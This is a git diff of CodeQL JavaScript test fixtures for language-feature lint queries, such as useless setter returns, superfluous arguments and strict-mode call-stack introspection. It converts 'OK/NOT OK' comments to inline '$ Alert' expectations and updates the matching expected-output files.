 			throw new Error("Cannot mutate y.");
 		},
 
 		set z(v) {
-			// OK
+			
 			_z = arguments[0] | 0;
 		}
 	};
@@ -36,7 +35,6 @@ function Point(x, y) {
 		get x() { return x; },
 		set x(_x) { x = _x|0; },
 		get y() { return y; },
-		// NOT OK
-		set y(_y) { x = _x|0; }
+		set y(_y) { x = _x|0; } // $ Alert
 	};
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.expected b/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.expected
index a5e92e24b4bd..2b911b330b6c 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.expected
@@ -1 +1 @@
-| tst.js:15:3:15:16 | return "nope"; | Useless return statement in setter function. |
+| tst.js:14:3:14:16 | return "nope"; | Useless return statement in setter function. |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.qlref b/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.qlref
index 93a02072150c..0c6e38131cc4 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/SetterReturn.qlref
@@ -1 +1,2 @@
-LanguageFeatures/SetterReturn.ql
\ No newline at end of file
+query: LanguageFeatures/SetterReturn.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/tst.js
index 4211400e6c48..5c7ea043cbe2 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SetterReturn/tst.js
@@ -1,17 +1,16 @@
 var o = {
 	_secret_x: 42,
 	get x() {
-		// OK
+		
 		return 42;
 	},
 	set x(v) {
 		if (v !== 42)
-			// OK
+			
 			return;
 		_secret_x = v;
 	},
 	set y(w) {
-		// NOT OK
-		return "nope";
+		return "nope"; // $ Alert
 	}
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.expected b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.expected
index 92b3fc978773..b88dd7d68e80 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.expected
@@ -8,17 +8,17 @@
 | reflection.js:7:15:7:18 | 1 | Superfluous arguments passed to $@. | reflection.js:1:1:1:23 | functio ... eturn;} | function f0 |
 | reflection.js:12:18:12:18 | 2 | Superfluous argument passed to $@. | reflection.js:2:1:2:24 | functio ... eturn;} | function f1 |
 | thisparameter.ts:4:11:4:12 | 45 | Superfluous argument passed to $@. | thisparameter.ts:1:1:1:45 | functio ... eturn;} | function foo |
-| tst.js:11:3:11:5 | g() | Superfluous argument passed to $@. | tst.js:1:1:4:1 | functio ... x+19;\\n} | function f |
-| tst.js:33:15:33:18 | 2 | Superfluous arguments passed to $@. | externs.js:34:1:34:27 | functio ... str) {} | function String |
-| tst.js:37:4:37:5 | 42 | Superfluous argument passed to $@. | tst.js:38:4:38:23 | function() {return;} | anonymous function |
-| tst.js:46:19:46:20 | 10 | Superfluous argument passed to $@. | externs.js:36:1:36:27 | functio ... num) {} | function parseFloat |
-| tst.js:70:11:70:12 | 42 | Superfluous argument passed to $@. | tst.js:49:2:51:2 | functio ... urn;\\n\\t} | function nonEmpty |
-| tst.js:75:13:75:14 | 42 | Superfluous argument passed to $@. | tst.js:63:19:63:33 | () => undefined | function emptyArrow |
-| tst.js:76:31:76:32 | 42 | Superfluous argument passed to $@. | tst.js:64:33:64:32 | () {} | default constructor of class ImplicitEmptyConstructor |
-| tst.js:77:31:77:32 | 42 | Superfluous argument passed to $@. | tst.js:67:14:68:3 | (){\\n\\t\\t} | constructor of class ExplicitEmptyConstructor |
-| tst.js:78:20:78:21 | 10 | Superfluous argument passed to $@. | externs.js:36:1:36:27 | functio ... num) {} | function parseFloat |
-| tst.js:114:20:114:21 | 42 | Superfluous argument passed to $@. | tst.js:82:2:86:2 | functio ... \\n\\t\\t}\\n\\t} | function notAPlainThrower1 |
-| tst.js:115:20:115:21 | 42 | Superfluous argument passed to $@. | tst.js:87:2:90:2 | functio ... .");\\n\\t} | function notAPlainThrower2 |
-| tst.js:116:20:116:21 | 42 | Superfluous argument passed to $@. | tst.js:91:2:94:2 | functio ... .");\\n\\t} | function notAPlainThrower3 |
-| tst.js:120:23:120:24 | 87 | Superfluous argument passed to $@. | tst.js:102:2:104:2 | functio ... (p);\\n\\t} | function throwerWithParam |
-| tst.js:121:18:121:19 | 42 | Superfluous argument passed to $@. | tst.js:105:2:113:2 | functio ... )();\\n\\t} | function throwerIndirect |
+| tst.js:10:3:10:5 | g() | Superfluous argument passed to $@. | tst.js:1:1:4:1 | functio ... x+19;\\n} | function f |
+| tst.js:31:15:31:18 | 2 | Superfluous arguments passed to $@. | externs.js:34:1:34:27 | functio ... str) {} | function String |
+| tst.js:34:4:34:5 | 42 | Superfluous argument passed to $@. | tst.js:35:4:35:23 | function() {return;} | anonymous function |
+| tst.js:43:19:43:20 | 10 | Superfluous argument passed to $@. | externs.js:36:1:36:27 | functio ... num) {} | function parseFloat |
+| tst.js:67:11:67:12 | 42 | Superfluous argument passed to $@. | tst.js:46:2:48:2 | functio ... urn;\\n\\t} | function nonEmpty |
+| tst.js:72:13:72:14 | 42 | Superfluous argument passed to $@. | tst.js:60:19:60:33 | () => undefined | function emptyArrow |
+| tst.js:73:31:73:32 | 42 | Superfluous argument passed to $@. | tst.js:61:33:61:32 | () {} | default constructor of class ImplicitEmptyConstructor |
+| tst.js:74:31:74:32 | 42 | Superfluous argument passed to $@. | tst.js:64:14:65:3 | (){\\n\\t\\t} | constructor of class ExplicitEmptyConstructor |
+| tst.js:75:20:75:21 | 10 | Superfluous argument passed to $@. | externs.js:36:1:36:27 | functio ... num) {} | function parseFloat |
+| tst.js:111:20:111:21 | 42 | Superfluous argument passed to $@. | tst.js:79:2:83:2 | functio ... \\n\\t\\t}\\n\\t} | function notAPlainThrower1 |
+| tst.js:112:20:112:21 | 42 | Superfluous argument passed to $@. | tst.js:84:2:87:2 | functio ... .");\\n\\t} | function notAPlainThrower2 |
+| tst.js:113:20:113:21 | 42 | Superfluous argument passed to $@. | tst.js:88:2:91:2 | functio ... .");\\n\\t} | function notAPlainThrower3 |
+| tst.js:117:23:117:24 | 87 | Superfluous argument passed to $@. | tst.js:99:2:101:2 | functio ... (p);\\n\\t} | function throwerWithParam |
+| tst.js:118:18:118:19 | 42 | Superfluous argument passed to $@. | tst.js:102:2:110:2 | functio ... )();\\n\\t} | function throwerIndirect |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.qlref b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.qlref
index f148cdba2ece..2c48d9faefb0 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/SpuriousArguments.qlref
@@ -1 +1,2 @@
-LanguageFeatures/SpuriousArguments.ql
\ No newline at end of file
+query: LanguageFeatures/SpuriousArguments.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/es2015.js b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/es2015.js
index 928edcd7fd3e..07f4446800b0 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/es2015.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/es2015.js
@@ -1,7 +1,7 @@
 class Class1 {
   constructor(x) { this.x = x; }
 }
-new Class1(42, 23); // NOT OK: `23` is ignored
+new Class1(42, 23); // $ Alert - `23` is ignored
 
 class Sup {
   constructor(x) { this.x = x; }
@@ -10,12 +10,12 @@ class Sup {
 class Sub extends Sup {
 }
 
-new Sub(42); // OK: synthetic constructor delegates to super constructor
+new Sub(42); // OK - synthetic constructor delegates to super constructor
 
 class Other {}
 
-new Other(42); // NOT OK: `42` is ignored
+new Other(42); // $ Alert - `42` is ignored
 
 var args = [];
-f(...args); // OK
-f(42, ...args); // NOT OK
\ No newline at end of file
+f(...args);
+f(42, ...args); // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/globals.js b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/globals.js
index 3771a18ed876..e41ddd2d0136 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/globals.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/globals.js
@@ -4,7 +4,7 @@ function global() {return;}
   window.global = function (x) {return;};
 })(this);
 
-global(x); // OK: might refer to function on line 4
+global(x); // OK - might refer to function on line 4
 
 function otherglobal() {return;}
 
@@ -12,6 +12,6 @@ var o = {
   otherglobal: function (x) {return;}
 };
 
-otherglobal(x); // NOT OK: can never refer to function on line 12
-otherglobal.call(null, x); // NOT OK
-otherglobal.call(null, x, y); // NOT OK
+otherglobal(x); // $ Alert - can never refer to function on line 12
+otherglobal.call(null, x); // $ Alert
+otherglobal.call(null, x, y); // $ Alert
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/reflection.js b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/reflection.js
index 22c8c3b537e7..ac2df0dafdce 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/reflection.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/reflection.js
@@ -3,13 +3,13 @@ function f1(x) {return;}
 
 f0.call();
 f0.call(this);
-f0.call(this, 1);
-f0.call(this, 1, 2);
+f0.call(this, 1); // $ Alert
+f0.call(this, 1, 2); // $ Alert
 
 f1.call();
 f1.call(this);
 f1.call(this, 1);
-f1.call(this, 1, 2);
+f1.call(this, 1, 2); // $ Alert
 
 f0.apply();
 f0.apply(this);
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/thisparameter.ts b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/thisparameter.ts
index d166c957858e..d17b5d33459f 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/thisparameter.ts
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/thisparameter.ts
@@ -1,4 +1,4 @@
 function foo(this: void, x: number) {return;}
 
-foo(45); // OK
-foo(null, 45); // NOT OK
+foo(45);
+foo(null, 45); // $ Alert
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/tst.js
index 1caa88564a1a..387348232e3d 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SpuriousArguments/tst.js
@@ -7,8 +7,7 @@ function g() {
 	return 23;
 }
 
-// NOT OK
-f(g());
+f(g()); // $ Alert
 
 function sum() {
 	var result = 0;
@@ -17,33 +16,31 @@ function sum() {
 	return result;
 }
 
-// OK
+
 sum(1, 2, 3);
 
 function h(k) {
 	k = k || function() {};
-	// OK
+	
 	k(42);
 }
 
-// OK
+
 new Array(1, 2, 3);
 
-// NOT OK
-new String(1, 2, 3);
+new String(1, 2, 3); // $ Alert
 
 (function(f) {
-	// NOT OK
-	f(42);
+	f(42); // $ Alert
 })(function() {return;});
 
 (function h(f) {
-	// OK
+	
 	f(42);
 	h(function(x) { return x; });
 })(function() {});
 
-parseFloat("123", 10);
+parseFloat("123", 10); // $ Alert - unlike parseInt this does not take a radix
 
 (function testWhitelistEmptyFunctions(){
 	function nonEmpty(){
@@ -67,15 +64,15 @@ parseFloat("123", 10);
 		constructor(){
 		}
 	}
-	nonEmpty(42); // NOT OK
-	empty(42); // OK
-	emptyWithParam(42, 87);	// OK
-	commentedEmpty(42); // OK
-	commentedEmptyWithSpreadParam(42, 87); // OK
-	emptyArrow(42); // NOT OK
-	new ImplicitEmptyConstructor(42); // NOT OK
-	new ExplicitEmptyConstructor(42); // NOT OK
-	parseFloat("123", 10); // NOT OK
+	nonEmpty(42); // $ Alert
+	empty(42);
+	emptyWithParam(42, 87);	
+	commentedEmpty(42);
+	commentedEmptyWithSpreadParam(42, 87);
+	emptyArrow(42); // $ Alert
+	new ImplicitEmptyConstructor(42); // $ Alert
+	new ExplicitEmptyConstructor(42); // $ Alert
+	parseFloat("123", 10); // $ Alert
 });
 
 (function testWhitelistThrowingFunctions() {
@@ -111,14 +108,14 @@ parseFloat("123", 10);
 			}
 		})();
 	}
-	notAPlainThrower1(42); // NOT OK
-	notAPlainThrower2(42); // NOT OK
-	notAPlainThrower3(42); // NOT OK
-	thrower(42); // OK
-	throwerArrow(42); // OK
-	throwerCustom(42); // OK
-	throwerWithParam(42, 87); // NOT OK
-	throwerIndirect(42); // OK, but still flagged due to complexity
+	notAPlainThrower1(42); // $ Alert
+	notAPlainThrower2(42); // $ Alert
+	notAPlainThrower3(42); // $ Alert
+	thrower(42);
+	throwerArrow(42);
+	throwerCustom(42);
+	throwerWithParam(42, 87); // $ Alert
+	throwerIndirect(42); // $ SPURIOUS: Alert - flagged due to complexity
 });
 
 function sum2() {
@@ -128,14 +125,14 @@ function sum2() {
 	return result;
 }
 
-// OK
+
 sum2(1, 2, 3);
 
 const $ = function (x, arr) {
   console.log(x, arr);
 };
 
-// OK
+
 async function tagThing(repoUrl, directory) {
   await $`git clone ${repoUrl} ${directory}`;
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.expected b/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.expected
index 967ac1ce58f3..7141c9d5589e 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.expected
@@ -1,7 +1,7 @@
-| tst.js:5:30:5:45 | arguments.callee | Strict mode code cannot use arguments.callee. |
-| tst.js:7:21:7:36 | arguments.callee | Strict mode code cannot use arguments.callee. |
-| tst.js:9:20:9:27 | f.caller | Strict mode code cannot use Function.prototype.caller. |
-| tst.js:11:17:11:27 | f.arguments | Strict mode code cannot use Function.prototype.arguments. |
-| tst.js:18:10:18:25 | arguments.callee | Strict mode code cannot use arguments.callee. |
-| tst.js:31:12:31:21 | foo.caller | Strict mode code cannot use Function.prototype.caller. |
-| tst.js:31:12:31:21 | foo.caller | Strict mode code cannot use arguments.caller. |
+| tst.js:4:30:4:45 | arguments.callee | Strict mode code cannot use arguments.callee. |
+| tst.js:5:21:5:36 | arguments.callee | Strict mode code cannot use arguments.callee. |
+| tst.js:6:20:6:27 | f.caller | Strict mode code cannot use Function.prototype.caller. |
+| tst.js:7:17:7:27 | f.arguments | Strict mode code cannot use Function.prototype.arguments. |
+| tst.js:13:10:13:25 | arguments.callee | Strict mode code cannot use arguments.callee. |
+| tst.js:25:12:25:21 | foo.caller | Strict mode code cannot use Function.prototype.caller. |
+| tst.js:25:12:25:21 | foo.caller | Strict mode code cannot use arguments.caller. |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.qlref b/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.qlref
index d093603e0779..92a121e2099c 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/StrictModeCallStackIntrospection.qlref
@@ -1 +1,2 @@
-LanguageFeatures/StrictModeCallStackIntrospection.ql
\ No newline at end of file
+query: LanguageFeatures/StrictModeCallStackIntrospection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/tst.js
index 583daac6ccca..6965cab8bae0 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/StrictModeCallStackIntrospection/tst.js
@@ -1,25 +1,20 @@
 var o = {
   A: function f(x) {
        'use strict';
-       // BAD
-       if (!(this instanceof arguments.callee))
-         // BAD
-         return new arguments.callee(x);
-       // BAD
-       console.log(f.caller);
-       // BAD
-       this.y = f.arguments;
+       if (!(this instanceof arguments.callee)) // $ Alert
+         return new arguments.callee(x); // $ Alert
+       console.log(f.caller); // $ Alert
+       this.y = f.arguments; // $ Alert
        this.x = x;
      }
 };
 
 var D = class extends function() {
-  // BAD
-  return arguments.callee;
+  return arguments.callee; // $ Alert
 } {};
 
 function g() {
-  // OK
+
   return arguments.caller.length;
 }
 
@@ -27,8 +22,7 @@ function g() {
   'use strict';
   function h() {
     var foo = Math.random() > 0.5 ? h : arguments;
-    // BAD
-    return foo.caller;
+    return foo.caller; // $ Alert
   }
 })();
 
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/SyntaxError.qlref b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/SyntaxError.qlref
index 33bc1d9e3b45..4133f6e98314 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/SyntaxError.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/SyntaxError.qlref
@@ -1 +1 @@
-LanguageFeatures/SyntaxError.ql
+query: LanguageFeatures/SyntaxError.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/arrows.js b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/arrows.js
index 62468802e464..ce50894cacea 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/arrows.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/arrows.js
@@ -1 +1 @@
-(a, a) => a + a;
+(a, a) => a + a; // $ Alert
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/destructingPrivate.js b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/destructingPrivate.js
index 060111d86b46..4edd6cb2d6f9 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/destructingPrivate.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/destructingPrivate.js
@@ -1,6 +1,6 @@
 class C {
   #privDecl;
   bar() {
-    {#privDecl} = this;
+    {#privDecl} = this; // $ Alert
   }
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/tst.js
index e7aaa89f128a..62acf99f0477 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SyntaxError/tst.js
@@ -1,2 +1,2 @@
 function findBox() {
-  return $("box.important
+  return $("box.important // $ Alert
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.js b/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.js
index 65a61da7a616..d21a662dc5e8 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.js
@@ -2,7 +2,7 @@ function connectAndLog(id) {
     log.info(`Connecting to ${id}`)
     let connection = openConnection(id)
     if (!connection) {
-      log.error('Could not connect to ${id}')
+      log.error('Could not connect to ${id}') // $ Alert
     }
 }
 
@@ -14,9 +14,9 @@ function emitTemplate(name, date) {
 var globalVar = "global";
 
 function foo() {
-    log.error('globalVar = ${globalVar}');
+    log.error('globalVar = ${globalVar}'); // $ Alert
 }
-log.error('globalVar = ${globalVar}');
+log.error('globalVar = ${globalVar}'); // $ Alert
 
 function bar() {
     log.error('Something ${notInScope}');
@@ -25,7 +25,7 @@ function bar() {
 function baz(x){
     log.error("${x}");
     log.error("${y}");
-    log.error("${x} ");
+    log.error("${x} "); // $ Alert
     log.error("${y} ");
 }
 
@@ -37,7 +37,7 @@ function foo1() {
     const foobar = 4;
 
     const data = {name: name, date: date};
-    writer.emit("Name: ${name}, Date: ${date}.", data); // OK 
+    writer.emit("Name: ${name}, Date: ${date}.", data);
 
-    writer.emit("Name: ${name}, Date: ${date}, ${foobar}", data); // NOT OK - `foobar` is not in `data`.     
+    writer.emit("Name: ${name}, Date: ${date}, ${foobar}", data); // $ Alert - `foobar` is not in `data`.
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.qlref b/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.qlref
index 372cdfd68f5d..6eb187fa573a 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/TemplateSyntaxInStringLiteral/TemplateSyntaxInStringLiteral.qlref
@@ -1 +1,2 @@
-LanguageFeatures/TemplateSyntaxInStringLiteral.ql
+query: LanguageFeatures/TemplateSyntaxInStringLiteral.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.expected b/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.expected
index e4a1e1a53dff..dbc274d613c1 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.expected
@@ -10,5 +10,5 @@
 | invalid.js:14:35:14:118 | () { cl ... er(); } | The super constructor must be called before using $@. | invalid.js:14:99:14:102 | this | this |
 | invalid.js:15:71:15:95 | () { th ... er(); } | The super constructor must be called before using $@. | invalid.js:15:76:15:79 | this | this |
 | invalid.js:16:35:16:66 | () { if ... .a(); } | The super constructor must be called before using $@. | invalid.js:16:56:16:59 | this | this |
-| invalid.js:26:16:26:19 | () {\\n   ... ;\\n    } | The super constructor must be called before using $@. | invalid.js:27:9:27:12 | this | this |
-| invalid.js:26:16:26:19 | () {\\n   ... ;\\n    } | The super constructor must be called before using $@. | invalid.js:28:9:28:12 | this | this |
+| invalid.js:26:16:26:30 | () { // ... ;\\n    } | The super constructor must be called before using $@. | invalid.js:27:9:27:12 | this | this |
+| invalid.js:26:16:26:30 | () { // ... ;\\n    } | The super constructor must be called before using $@. | invalid.js:28:9:28:12 | this | this |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.qlref b/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.qlref
index f755c5a9d472..0d3e717fe79a 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/ThisBeforeSuper.qlref
@@ -1 +1,2 @@
-LanguageFeatures/ThisBeforeSuper.ql
\ No newline at end of file
+query: LanguageFeatures/ThisBeforeSuper.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/invalid.js b/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/invalid.js
index 82e7f8cda77e..c70e2cdcf7f1 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/invalid.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ThisBeforeSuper/invalid.js
@@ -2,18 +2,18 @@
 // under the MIT license; see file LICENSE.
 
 class B1 {}
-class A30 extends B1 { constructor() { this.c = 0; } }
-class A31 extends B1 { constructor() { this.c(); } }
-class A32 extends B1 { constructor() { super.c(); } }
-class A33 extends B1 { constructor() { this.c = 0; super(); } }
-class A34 extends B1 { constructor() { this.c(); super(); } }
-class A35 extends B1 { constructor() { super.c(); super(); } }
-class A36 extends B1 { constructor() { super(this.c); } }
-class A37 extends B1 { constructor() { super(this.c()); } }
-class A38 extends B1 { constructor() { super(super.c()); } }
-class A39 extends B1 { constructor() { class C extends D { constructor() { super(); this.e(); } } this.f(); super(); } }
-class A40 extends B1 { constructor() { class C extends D { constructor() { this.e(); super(); } } super(); this.f(); } }
-class A41 extends B1 { constructor() { if (a) super(); this.a(); } }
+class A30 extends B1 { constructor() { this.c = 0; } } // $ Alert
+class A31 extends B1 { constructor() { this.c(); } } // $ Alert
+class A32 extends B1 { constructor() { super.c(); } } // $ Alert
+class A33 extends B1 { constructor() { this.c = 0; super(); } } // $ Alert
+class A34 extends B1 { constructor() { this.c(); super(); } } // $ Alert
+class A35 extends B1 { constructor() { super.c(); super(); } } // $ Alert
+class A36 extends B1 { constructor() { super(this.c); } } // $ Alert
+class A37 extends B1 { constructor() { super(this.c()); } } // $ Alert
+class A38 extends B1 { constructor() { super(super.c()); } } // $ Alert
+class A39 extends B1 { constructor() { class C extends D { constructor() { super(); this.e(); } } this.f(); super(); } } // $ Alert
+class A40 extends B1 { constructor() { class C extends D { constructor() { this.e(); super(); } } super(); this.f(); } } // $ Alert
+class A41 extends B1 { constructor() { if (a) super(); this.a(); } } // $ Alert
 
 // the following two cases are not currently detected (even though they should be):
 // while `this` is, in both cases, guarded by a `super` call, the call does not complete
@@ -23,7 +23,7 @@ class A42 extends B2 { constructor() { try { super(); } finally { this.a; } } }
 class A43 extends B2 { constructor() { try { super(); } catch (err) { } this.a; } }
 
 class A44 extends B1 {
-    constructor() {
+    constructor() { // $ Alert
         this.p1 = 0;
         this.p2 = 0;
     }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.js b/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.js
index 7f6071b86963..7d139a4d582c 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.js
@@ -1,6 +1,6 @@
 function sum(xs) {
   var res = 0;
-  for(var i=0; i<xs.length; ++i)
+  for(var i=0; i<xs.length; ++i) // $ Alert
     res += xs[0]; // BAD: should be xs[i]
   return res;
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.qlref b/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.qlref
index 284faba10cd8..b20c1d604496 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable.qlref
@@ -1 +1,2 @@
-LanguageFeatures/UnusedIndexVariable.ql
+query: LanguageFeatures/UnusedIndexVariable.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable2.js b/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable2.js
index 9dc5bdca6d6b..8708edcad925 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable2.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/UnusedIndexVariable/UnusedIndexVariable2.js
@@ -1,6 +1,6 @@
 function sum(xs, i) {
   var res = 0;
-  for(;i++<xs.length;)
+  for(;i++<xs.length;) // $ Alert
     res += xs[0]; // BAD: should be xs[i]
   return res;
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.expected b/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.expected
index 2d3229ba39fa..608d0503ca50 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.expected
@@ -1 +1 @@
-| withStatement.js:2:3:2:14 | with (f ...  x;\\n  } | Do not use 'with'. |
+| withStatement.js:2:3:2:25 | with (f ...  x;\\n  } | Do not use 'with'. |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.qlref b/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.qlref
index 28c3874dc59d..41aa052b655e 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/WithStatement.qlref
@@ -1 +1,2 @@
-LanguageFeatures/WithStatement.ql
+query: LanguageFeatures/WithStatement.ql
